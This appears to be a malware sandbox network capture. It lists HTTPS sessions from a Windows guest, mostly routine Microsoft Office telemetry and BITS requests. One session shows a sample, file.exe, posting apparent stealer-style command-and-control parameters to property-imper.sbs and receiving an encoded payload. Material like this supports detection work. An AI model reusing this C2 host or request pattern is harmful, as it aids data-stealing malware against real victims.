2024-11-24 07:43:45 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.10	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:44 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:44 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: de6003cd-b01e-0098-493c-3ccead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074344Z-178bfbc474bscnbchC1NYCe7eg00000005s000000000aema x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:45 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49722	172.67.162.84	443	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:45 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-24 07:43:45 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-24 07:43:45 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=28goihiq1uteoh9g2bfpl3uul3; expires=Thu, 20-Mar-2025 01:30:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0sRbyyvWWBhMcxPsaU9rCOkNfQr1RUycTsmPglpuqAB8I4hqNG7CQTaDnRaQaPxpWWW2dGMRAOPhQNuGggc402MyuTL205OMzqTvzQyWkY%2F0SL7fH8uGDyQjD62WQz1RT%2B5R7Dk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77c515d8c1c32f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3053&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1784841&cwnd=138&unsent_bytes=0&cid=e66f1ab2cdcee726&ts=689&x=0"
2024-11-24 07:43:45 UTC	358	IN	Data Raw: 31 64 38 37 0d 0a 45 6a 63 36 73 37 36 44 62 58 42 69 45 76 70 52 4c 38 66 39 30 74 42 75 75 76 65 50 50 76 66 54 58 6b 4f 52 76 68 57 6d 54 35 56 70 46 55 79 52 68 4c 64 42 55 68 46 33 32 47 74 62 74 59 69 33 2f 45 7a 62 6b 36 30 45 6b 62 49 79 4d 50 53 53 4e 39 41 69 74 79 68 52 57 39 2f 4e 35 6b 46 53 42 32 72 59 61 33 53 38 33 37 65 2b 54 49 44 56 36 6c 53 56 73 6a 49 68 38 4e 56 36 31 69 50 32 65 6c 74 64 32 39 76 67 43 52 45 4f 66 35 38 30 53 71 61 58 76 4c 6b 44 30 70 71 74 45 74 57 32 4a 47 47 72 6e 46 6a 44 4f 2f 52 66 56 6b 6e 59 6e 50 35 42 43 30 42 33 6c 48 4d 56 35 5a 79 33 73 67 4c 63 6b 2b 52 57 6e 37 73 36 49 50 58 55 5a 63 38 70 2f 58 70 56 58 74 72 52 36 52 30 63 42 48 69 55 4d 6b 43 6d 33 2f 37 79 43 38 44 56 74 52 7a 47 67 7a 38 77 34 Data Ascii: 1d87Ejc6s76DbXBiEvpRL8f90tBuuvePPvfTXkORvhWmT5VpFUyRhLdBUhF32GtbtYi3/Ezbk60EkbIyMPSSN9AityhRW9/N5kFSB2rYa3S837e+TIDV6lSVsjIh8NV61iP2eltd29vgCREOf580SqaXvLkD0pqtEtW2JGGrnFjDO/RfVknYnP5BC0B3lHMV5Zy3sgLck+RWn7s6IPXUZc8p/XpVXtrR6R0cBHiUMkCm3/7yC8DVtRzGgz8w4
2024-11-24 07:43:45 UTC	1369	IN	Data Raw: 43 48 75 54 4e 6c 2b 75 6c 72 32 2f 44 4e 57 66 34 6c 2b 56 74 6a 59 72 2f 4e 5a 7a 79 53 44 78 63 46 55 59 6e 35 7a 6d 46 31 4a 59 4d 4c 73 32 58 61 4b 54 70 76 41 32 6d 49 71 6a 52 64 57 32 4d 47 47 72 6e 48 2f 42 4c 76 52 37 57 6c 76 5a 31 2f 4d 50 41 41 5a 39 6e 53 46 4c 6f 4a 47 36 73 52 37 53 6d 2b 74 66 6e 4c 6f 31 4a 50 54 59 4e 34 70 74 38 47 67 56 41 4a 48 39 37 41 51 65 43 6d 65 59 63 31 4c 72 68 76 43 31 41 4a 6a 4e 72 56 69 55 74 54 30 6c 2f 64 4a 7a 79 43 76 35 66 56 70 65 32 39 7a 6d 42 52 6f 49 63 5a 55 34 51 71 57 61 76 62 59 4b 31 4a 54 6f 48 4e 76 78 4f 7a 6d 7a 68 44 66 71 4b 76 52 69 46 32 33 53 30 75 38 49 42 45 42 76 31 69 6f 4e 6f 70 50 77 36 6b 7a 57 6b 4f 4a 4f 6c 4b 4d 35 4c 2b 48 51 63 73 49 67 39 48 35 56 58 64 62 52 37 77 6b Data Ascii: CHuTNl+ulr2/DNWf4l+VtjYr/NZzySDxcFUYn5zmF1JYMLs2XaKTpvA2mIqjRdW2MGGrnH/BLvR7WlvZ1/MPAAZ9nSFLoJG6sR7Sm+tfnLo1JPTYN4pt8GgVAJH97AQeCmeYc1LrhvC1AJjNrViUtT0l/dJzyCv5fVpe29zmBRoIcZU4QqWavbYK1JToHNvxOzmzhDfqKvRiF23S0u8IBEBv1ioNopPw6kzWkOJOlKM5L+HQcsIg9H5VXdbR7wk
2024-11-24 07:43:45 UTC	1369	IN	Data Raw: 69 6f 4e 6f 70 50 77 36 6b 7a 55 6e 4f 31 58 6e 37 55 38 4a 76 37 5a 64 4d 4d 75 2b 6e 64 66 56 74 62 59 37 51 59 66 42 6e 43 66 4e 30 69 33 6d 72 6d 2b 41 4a 6a 62 72 56 75 4e 38 57 52 68 33 4e 74 68 78 77 4c 30 59 56 77 59 7a 70 4c 34 54 78 55 4d 4d 4d 42 7a 53 71 43 58 75 37 51 45 32 49 66 6f 55 70 36 77 4e 69 66 79 30 58 76 43 4c 66 5a 77 55 31 54 52 32 2b 59 64 41 41 56 32 69 6a 6b 4e 36 39 2b 33 71 6b 79 41 31 64 74 4d 67 71 41 71 59 38 62 66 65 63 6f 71 34 54 42 4b 46 73 69 63 35 67 4e 53 57 44 43 54 4d 30 47 69 6c 37 61 32 42 4e 65 61 35 45 36 55 76 54 49 7a 39 4e 78 2b 79 69 4c 37 65 56 68 66 33 4e 66 72 41 68 59 48 63 64 68 39 44 61 4b 48 38 4f 70 4d 37 6f 58 67 55 4c 75 36 4d 43 69 7a 77 7a 6e 64 62 66 42 38 46 51 43 52 32 4f 30 48 47 41 39 35 Data Ascii: ioNopPw6kzUnO1Xn7U8Jv7ZdMMu+ndfVtbY7QYfBnCfN0i3mrm+AJjbrVuN8WRh3NthxwL0YVwYzpL4TxUMMMBzSqCXu7QE2IfoUp6wNify0XvCLfZwU1TR2+YdAAV2ijkN69+3qkyA1dtMgqAqY8bfecoq4TBKFsic5gNSWDCTM0Gil7a2BNea5E6UvTIz9Nx+yiL7eVhf3NfrAhYHcdh9DaKH8OpM7oXgULu6MCizwzndbfB8FQCR2O0HGA95
2024-11-24 07:43:45 UTC	1369	IN	Data Raw: 4b 62 74 72 31 4d 6c 74 58 71 52 4e 58 70 66 41 37 55 36 54 58 6c 46 37 64 76 47 30 47 52 32 2b 31 50 53 6b 42 38 6d 7a 39 46 71 70 6d 35 76 67 62 52 6e 75 46 58 6b 62 30 31 4a 50 58 64 63 73 45 73 38 33 78 66 58 74 4c 66 37 67 41 64 43 44 44 57 63 30 71 39 33 2b 6a 79 4b 63 2b 65 34 31 72 56 72 6e 49 34 73 39 74 37 68 48 57 33 66 46 78 65 31 39 6e 74 44 68 51 49 64 5a 41 33 54 4b 4f 5a 73 37 30 49 33 5a 54 69 57 4a 6d 2f 4e 69 44 79 30 48 7a 4c 4a 76 49 77 47 78 6a 57 78 4b 46 58 55 6a 46 7a 6a 69 52 64 71 64 2b 76 2f 42 57 59 6b 75 45 63 7a 66 45 39 4d 2f 6e 57 65 63 45 69 38 6e 4e 61 58 39 7a 61 37 51 55 62 43 48 61 58 4f 6c 2b 6d 6b 37 36 31 41 74 53 62 34 46 61 57 76 48 78 76 73 39 74 76 68 48 57 33 58 46 4a 56 2f 39 66 74 43 46 49 66 50 6f 46 7a 53 Data Ascii: Kbtr1MltXqRNXpfA7U6TXlF7dvG0GR2+1PSkB8mz9Fqpm5vgbRnuFXkb01JPXdcsEs83xfXtLf7gAdCDDWc0q93+jyKc+e41rVrnI4s9t7hHW3fFxe19ntDhQIdZA3TKOZs70I3ZTiWJm/NiDy0HzLJvIwGxjWxKFXUjFzjiRdqd+v/BWYkuEczfE9M/nWecEi8nNaX9za7QUbCHaXOl+mk761AtSb4FaWvHxvs9tvhHW3XFJV/9ftCFIfPoFzS
2024-11-24 07:43:45 UTC	1369	IN	Data Raw: 79 56 4a 69 6a 36 6b 79 46 73 6e 34 51 35 64 39 68 7a 79 44 37 4d 45 6f 57 79 4a 7a 6d 41 31 4a 59 4d 4a 34 38 52 4b 61 51 73 62 73 41 31 5a 44 6b 57 5a 53 33 4f 43 76 35 33 48 48 43 4c 50 4a 36 56 6c 6e 62 31 65 59 48 46 51 4e 69 32 48 30 4e 6f 6f 66 77 36 6b 7a 78 6b 76 39 53 68 66 45 6a 62 2b 71 63 63 4d 68 74 72 7a 42 52 55 74 37 59 35 67 4d 55 42 58 61 56 4d 6b 4b 6b 6e 37 2b 32 42 39 47 54 37 46 47 51 76 44 67 7a 2b 64 64 34 79 43 54 37 66 52 55 57 6b 64 76 35 54 30 70 41 51 5a 55 39 51 36 4b 4a 38 4b 31 43 77 64 58 71 55 4e 58 70 66 43 44 2f 30 33 54 4c 4c 76 52 78 58 30 72 44 30 4f 67 48 46 77 78 37 6c 6a 56 66 6f 35 43 35 73 51 2f 52 6b 75 56 51 6e 37 49 37 59 62 32 63 63 4e 78 74 72 7a 42 32 54 38 48 52 6f 52 42 63 47 54 43 66 50 77 33 39 33 37 Data Ascii: yVJij6kyFsn4Q5d9hzyD7MEoWyJzmA1JYMJ48RKaQsbsA1ZDkWZS3OCv53HHCLPJ6Vlnb1eYHFQNi2H0Noofw6kzxkv9ShfEjb+qccMhtrzBRUt7Y5gMUBXaVMkKkn7+2B9GT7FGQvDgz+dd4yCT7fRUWkdv5T0pAQZU9Q6KJ8K1CwdXqUNXpfCD/03TLLvRxX0rD0OgHFwx7ljVfo5C5sQ/RkuVQn7I7Yb2ccNxtrzB2T8HRoRBcGTCfPw3937
2024-11-24 07:43:45 UTC	1369	IN	Data Raw: 6d 75 4a 56 6e 4c 55 30 49 76 50 59 63 38 4d 6f 39 48 78 65 58 39 4c 54 35 51 59 63 43 58 2f 59 66 51 32 69 68 2f 44 71 54 50 6d 4f 37 6c 43 59 38 53 4e 76 36 70 78 77 79 47 32 76 4d 46 6c 57 31 4e 7a 72 43 52 59 46 64 70 49 32 54 61 36 63 76 37 59 4b 33 4a 72 74 56 35 79 77 4f 69 54 35 31 33 48 4a 4c 76 46 32 46 52 61 52 32 2f 6c 50 53 6b 42 51 67 7a 35 42 6f 74 2b 76 2f 42 57 59 6b 75 45 63 7a 66 45 33 4c 66 66 62 64 38 6b 75 2f 33 56 52 55 74 54 63 36 52 30 61 41 48 65 4b 49 55 32 73 6d 72 79 78 44 4e 79 54 35 46 71 57 74 58 78 76 73 39 74 76 68 48 57 33 58 56 6c 66 2b 4e 76 36 54 77 31 4f 61 64 67 30 51 65 58 48 38 4c 4d 48 30 70 72 67 58 35 4f 79 4e 79 54 35 33 58 44 4d 49 4f 56 7a 57 6c 66 56 33 4f 34 4a 46 41 46 2f 6e 6a 52 45 70 4a 65 33 38 6b 4b Data Ascii: muJVnLU0IvPYc8Mo9HxeX9LT5QYcCX/YfQ2ih/DqTPmO7lCY8SNv6pxwyG2vMFlW1NzrCRYFdpI2Ta6cv7YK3JrtV5ywOiT513HJLvF2FRaR2/lPSkBQgz5Bot+v/BWYkuEczfE3Lffbd8ku/3VRUtTc6R0aAHeKIU2smryxDNyT5FqWtXxvs9tvhHW3XVlf+Nv6Tw1Oadg0QeXH8LMH0prgX5OyNyT53XDMIOVzWlfV3O4JFAF/njREpJe38kK
2024-11-24 07:43:45 UTC	364	IN	Data Raw: 70 2b 32 4c 43 62 6b 30 7a 65 4b 62 66 67 77 44 57 47 52 31 65 59 55 41 78 5a 39 69 44 51 4e 6d 74 48 77 71 6b 79 41 31 64 68 66 6d 37 38 37 4e 2b 4b 52 55 4e 49 6e 38 47 42 53 54 39 36 63 72 30 38 55 51 43 6a 4c 66 51 32 68 6a 76 44 71 58 49 72 4f 75 41 2f 43 34 57 34 2b 76 63 55 33 30 6d 32 76 49 68 73 59 77 35 79 35 54 31 55 44 59 6f 6f 31 54 72 4f 63 39 34 77 79 2f 34 2f 67 57 6f 4b 67 41 68 2f 30 78 6e 72 43 4f 75 59 38 51 46 76 66 30 75 59 5a 55 6b 34 77 6c 33 4d 56 6e 4e 2f 34 38 6a 4f 57 31 66 55 63 7a 66 45 4a 49 76 33 53 63 4e 49 38 75 6c 64 50 56 64 66 4c 38 45 39 63 51 48 62 59 61 78 33 72 33 37 53 6a 54 49 44 46 76 77 66 41 34 6d 74 78 6f 63 4d 35 33 57 33 68 4d 41 30 4b 6e 35 7a 7a 54 30 70 41 4e 35 73 68 58 36 4f 63 70 72 46 4c 35 71 76 44 Data Ascii: p+2LCbk0zeKbfgwDWGR1eYUAxZ9iDQNmtHwqkyA1dhfm787N+KRUNIn8GBST96cr08UQCjLfQ2hjvDqXIrOuA/C4W4+vcU30m2vIhsYw5y5T1UDYoo1TrOc94wy/4/gWoKgAh/0xnrCOuY8QFvf0uYZUk4wl3MVnN/48jOW1fUczfEJIv3ScNI8uldPVdfL8E9cQHbYax3r37SjTIDFvwfA4mtxocM53W3hMA0Kn5zzT0pAN5shX6OcprFL5qvD
2024-11-24 07:43:45 UTC	1369	IN	Data Raw: 32 36 65 35 0d 0a 68 53 42 45 53 59 70 34 77 57 36 62 59 6a 6f 77 50 7a 70 6a 69 56 35 53 50 41 67 2f 2b 33 58 54 4b 62 38 5a 6d 57 45 6a 53 32 65 59 78 4c 41 35 33 6a 44 52 44 6f 35 2f 77 2f 45 7a 58 31 62 56 6c 31 66 6c 38 48 72 32 63 62 34 52 31 74 30 56 57 56 74 2f 62 39 78 35 66 49 32 61 56 50 45 61 6b 33 2f 37 79 43 70 6a 4e 76 52 4c 56 74 53 31 68 71 34 77 6c 6e 33 69 6b 4a 77 55 4b 7a 70 4c 34 54 77 52 41 4b 4d 70 39 44 62 66 66 36 50 4a 4c 31 70 6a 73 58 35 75 79 4c 6a 50 31 33 32 48 48 61 73 6c 4f 64 46 58 61 30 4f 77 41 47 54 35 4f 75 54 35 47 71 5a 4b 2f 75 54 4c 6d 67 4f 35 53 6d 37 59 71 4d 4c 4f 53 4e 38 74 74 72 30 6b 56 45 4a 48 6a 72 30 38 4b 51 43 6a 59 42 6b 36 72 6b 62 65 6b 48 5a 57 30 34 46 65 5a 76 44 4d 71 73 35 49 33 77 6d 32 76 Data Ascii: 26e5hSBESYp4wW6bYjowPzpjiV5SPAg/+3XTKb8ZmWEjS2eYxLA53jDRDo5/w/EzX1bVl1fl8Hr2cb4R1t0VWVt/b9x5fI2aVPEak3/7yCpjNvRLVtS1hq4wln3ikJwUKzpL4TwRAKMp9Dbff6PJL1pjsX5uyLjP132HHaslOdFXa0OwAGT5OuT5GqZK/uTLmgO5Sm7YqMLOSN8ttr0kVEJHjr08KQCjYBk6rkbekHZW04FeZvDMqs5I3wm2v
2024-11-24 07:43:45 UTC	1369	IN	Data Raw: 2f 69 78 42 67 52 45 48 61 62 44 58 4f 4f 6b 37 61 31 46 74 2b 54 79 33 7a 56 2f 33 77 75 73 34 52 4f 68 47 57 33 54 78 73 59 79 5a 79 35 54 79 63 44 66 70 59 30 57 37 54 53 6c 61 55 50 79 4a 50 75 48 4e 76 78 4f 6d 47 72 6a 44 6d 45 4b 65 59 77 44 51 69 44 68 37 52 63 52 56 41 69 68 33 31 55 35 59 6e 77 36 6c 36 57 31 66 38 63 7a 66 46 37 49 75 48 4f 63 63 63 37 39 44 64 72 5a 76 66 66 38 41 55 7a 44 57 43 66 44 58 4f 77 6e 4c 36 38 43 38 36 45 72 52 4c 56 76 6e 78 35 79 70 77 2f 69 43 76 30 5a 68 56 6e 6e 35 7a 35 54 30 70 41 52 5a 73 39 51 36 4b 4a 6f 66 38 71 32 34 54 6e 66 5a 69 68 4f 32 47 39 6e 48 47 45 64 61 51 2b 46 56 7a 41 6e 4c 6c 66 51 46 73 6c 79 32 51 64 39 34 44 2b 71 30 7a 4f 31 62 55 4f 32 2f 45 75 59 61 75 63 4d 4d 63 2f 35 58 5a 57 54 Data Ascii: /ixBgREHabDXOOk7a1Ft+Ty3zV/3wus4ROhGW3TxsYyZy5TycDfpY0W7TSlaUPyJPuHNvxOmGrjDmEKeYwDQiDh7RcRVAih31U5Ynw6l6W1f8czfF7IuHOccc79DdrZvff8AUzDWCfDXOwnL68C86ErRLVvnx5ypw/iCv0ZhVnn5z5T0pARZs9Q6KJof8q24TnfZihO2G9nHGEdaQ+FVzAnLlfQFsly2Qd94D+q0zO1bUO2/EuYaucMMc/5XZWT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49723	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:45 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-24 07:43:46 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=179385 Date: Sun, 24 Nov 2024 07:43:46 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.10	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:46 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:46 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 305ca238-701e-001e-4cf1-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074346Z-15b8b599d88cn5thhC1TEBqxkn0000000420000000005fkn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:47 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.10	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:46 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:46 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074346Z-178bfbc474bpscmfhC1NYCfc2c000000045g00000000d1u8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:47 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.10	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:46 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:47 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 81a1b48f-901e-00ac-7058-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074347Z-15b8b599d88phfhnhC1TEBr51n000000045g00000000e74x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:47 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

